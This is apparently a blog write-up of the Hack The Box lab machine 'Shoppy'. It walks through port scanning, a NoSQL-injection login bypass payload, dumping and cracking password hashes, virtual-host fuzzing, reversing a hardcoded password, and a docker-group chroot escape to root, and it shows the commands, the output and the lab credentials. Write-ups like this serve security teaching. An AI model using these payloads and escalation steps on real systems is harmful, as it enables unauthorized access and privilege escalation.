Skip to content

Shoppy

Nmap

Like always let's start with Nmap!

┌──(kali㉿kali)-[~/Documents/HTB]
└─$ sudo nmap --min-rate 1000 -p- 10.10.11.180
Starting Nmap 7.93 ( https://nmap.org ) at 2022-11-30 13:20 CET
Nmap scan report for 10.10.11.180
Host is up (0.084s latency).
Not shown: 65532 closed tcp ports (reset)
PORT     STATE SERVICE
22/tcp   open  ssh
80/tcp   open  http
9093/tcp open  copycat

Nmap done: 1 IP address (1 host up) scanned in 60.54 seconds
┌──(kali㉿kali)-[~/Documents/HTB]
└─$ sudo nmap -sC -sV -p 22,80,9093 10.10.11.180
Starting Nmap 7.93 ( https://nmap.org ) at 2022-11-30 13:23 CET
Nmap scan report for 10.10.11.180
Host is up (0.062s latency).

PORT     STATE SERVICE  VERSION
22/tcp   open  ssh      OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey: 
|   3072 9e5e8351d99f89ea471a12eb81f922c0 (RSA)
|   256 5857eeeb0650037c8463d7a3415b1ad5 (ECDSA)
|_  256 3e9d0a4290443860b3b62ce9bd9a6754 (ED25519)
80/tcp   open  http     nginx 1.23.1
|_http-server-header: nginx/1.23.1
|_http-title: Did not follow redirect to http://shoppy.htb
9093/tcp open  copycat?
| fingerprint-strings: 
|   GenericLines: 
|     HTTP/1.1 400 Bad Request
|     Content-Type: text/plain; charset=utf-8
|     Connection: close
|     Request
|   GetRequest, HTTPOptions: 
|     HTTP/1.0 200 OK
|     Content-Type: text/plain; version=0.0.4; charset=utf-8
|     Date: Wed, 30 Nov 2022 12:22:26 GMT
|     HELP go_gc_cycles_automatic_gc_cycles_total Count of completed GC cycles generated by the Go runtime.
|     TYPE go_gc_cycles_automatic_gc_cycles_total counter
|     go_gc_cycles_automatic_gc_cycles_total 546
|     HELP go_gc_cycles_forced_gc_cycles_total Count of completed GC cycles forced by the application.
|     TYPE go_gc_cycles_forced_gc_cycles_total counter
|     go_gc_cycles_forced_gc_cycles_total 0
|     HELP go_gc_cycles_total_gc_cycles_total Count of all completed GC cycles.
|     TYPE go_gc_cycles_total_gc_cycles_total counter
|     go_gc_cycles_total_gc_cycles_total 546
|     HELP go_gc_duration_seconds A summary of the pause duration of garbage collection cycles.
|     TYPE go_gc_duration_seconds summary
|     go_gc_duration_seconds{quantile="0"} 4.4953e-05
|     go_gc_duration_seconds{quantile="0.25"} 9.7211e-05
|_    go_gc

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 102.74 seconds

I will focus in both the port 80 and that weird thing in port 9093.

Port 80

First exploit

┌──(kali㉿kali)-[~/Documents/HTB]
└─$ gobuster dir -u http://shoppy.htb/ -w ~/Wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt
===============================================================
Gobuster v3.3
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://shoppy.htb/
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /home/kali/Wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.3
[+] Timeout:                 10s
===============================================================
2022/11/30 13:32:39 Starting gobuster in directory enumeration mode
===============================================================
/images               (Status: 301) [Size: 179] [--> /images/]
/login                (Status: 200) [Size: 1074]
/admin                (Status: 302) [Size: 28] [--> /login]
/assets               (Status: 301) [Size: 179] [--> /assets/]
/css                  (Status: 301) [Size: 173] [--> /css/]
/Login                (Status: 200) [Size: 1074]
/js                   (Status: 301) [Size: 171] [--> /js/]
/fonts                (Status: 301) [Size: 177] [--> /fonts/]
/Admin                (Status: 302) [Size: 28] [--> /login]
/exports              (Status: 301) [Size: 181] [--> /exports/]
/LogIn                (Status: 200) [Size: 1074]
===============================================================
2022/11/30 13:45:08 Finished
===============================================================

The login page is weird, injecting a ' character the page just hangs. Trying SQL payloads I just got timeouts, maybe we can inject something else? I crafted something like this:

Hola' + '123' + 'Hola

And the page was able to return... The port 9093 looks like a dump of something related to Go so lets try to inject Go code instead of SQL:

Hola' || 1==1 || 'Hola

Using that payload I was able to bypass the login page and get access to the admin dashboard! In there, there is an option to search for users. I tried to, once again, inject the same payload I used before in the login page hoping to get all the users of the database and looks like we are lucky here:

[
    {
        "_id":"62db0e93d6d6a999a66ee67a",
        "username":"admin",
        "password":"23c6877d9e2b564ef8b32c3a23de27b2"
    },
    {
        "_id":"62db0e93d6d6a999a66ee67b",
        "username":"josh",
        "password":"6ebcea65320589ca4f2f1ce039975995"
    }
]

I was able to crack the password for the josh user using the Rockyou dictionary:

┌──(kali㉿kali)-[~/Documents/HTB/Shoppy]
└─$ john --format=raw-md5 --wordlist=~/Wordlists/rockyou.txt hash                                             
Using default input encoding: UTF-8
Loaded 2 password hashes with no different salts (Raw-MD5 [MD5 128/128 SSE2 4x3])
Warning: no OpenMP support for this hash type, consider --fork=4
Press 'q' or Ctrl-C to abort, almost any other key for status
remembermethisway (josh)     
1g 0:00:00:01 DONE (2022-11-30 14:50) 0.6172g/s 8853Kp/s 8853Kc/s 9355KC/s  fuckyooh21..*7¡Vamos!
Use the "--show --format=Raw-MD5" options to display all of the cracked passwords reliably
Session completed.

I tried the credentials josh:remembermethisway for SSH but no luck.

Finally user!

After some hours I was really lost whith this box but I found something using wfuzz instead of gobuster for enumerating virtual hosts:

┌──(kali㉿kali)-[~/Documents/HTB/Shoppy]
└─$ wfuzz -H "Host: FUZZ.shoppy.htb" --hc 404,403,301 -H "User-Agent: PENTEST" -c -w /home/kali/Wordlists/SecLists/Discovery/DNS/namelist.txt http://shoppy.htb
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer                         *
********************************************************

Target: http://shoppy.htb/
Total requests: 151265

=====================================================================
ID           Response   Lines    Word       Chars       Payload                                             
=====================================================================

000082865:   200        0 L      141 W      3122 Ch     "mattermost"                                        

For some reason, gobuster was not able to find the Mattermost subdomain... Anyway, I was able to login using the found credentials and got the user and password for the SSH service in one of the chats: jaeger:Sh0ppyBest@pp!. Fun fact, the application is using a Mongo database and that is why the SQL payloads failed. Why I though about Go code instead of trying NoSQL? Well let's say that the port 9093 baited me...

Privesc to deploy

Another thing I found in the Mattermost app was a chat speaking about a password manager. I was able to find it under /home/deploy, looks like the code and a file with credentials are also in there but Im only allowed to read the binary so I downloaded it to my machine.

According to sudo -l we can execute this binary as deploy:

jaeger@shoppy:/home/deploy$ sudo -l
[sudo] password for jaeger: 
Matching Defaults entries for jaeger on shoppy:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User jaeger may run the following commands on shoppy:
    (deploy) /home/deploy/password-manager

The binary asks for a master password when executed. According to the strings in the binary, it will read the credentials file from /home/deploy after introducing the correct password. The password is probably stored somewhere in the binary so time to reverse it. Using IDA was easy to find the password harcoded in the code, it was Sample.

Screenshot of the IDA64 output

Using this information, we can just get the password for the deploy user:

jaeger@shoppy:/home/deploy$ sudo -u deploy /home/deploy/password-manager
Welcome to Josh password manager!
Please enter your master password: Sample
Access granted! Here is creds !
Deploy Creds :
username: deploy
password: Deploying@pp!

Pwned!

The privilege escalation for root is pretty easy, the user deploy is part of the docker group so we can manage containers. Since the Alpine image is already in the machine the attack vector is straigh forward.

deploy@shoppy:~$ id
uid=1001(deploy) gid=1001(deploy) groups=1001(deploy),998(docker)
deploy@shoppy:~$ docker images
REPOSITORY   TAG       IMAGE ID       CREATED        SIZE
alpine       latest    d7d3d98c851f   4 months ago   5.53MB
docker run -v /:/mnt --rm -it alpine chroot /mnt sh

We only need to create a container that will have all the host filesystem mounted in the /mnt directory and will execute the chroot command to change the container filesystem root to the /mnt directory. Since we are root inside de container, we are now effectively root in the host machine.

deploy@shoppy:~$ docker run -v /:/mnt --rm -it alpine chroot /mnt sh
# id
uid=0(root) gid=0(root) groups=0(root),1(daemon),2(bin),3(sys),4(adm),6(disk),10(uucp),11,20(dialout),26(tape),27(sudo)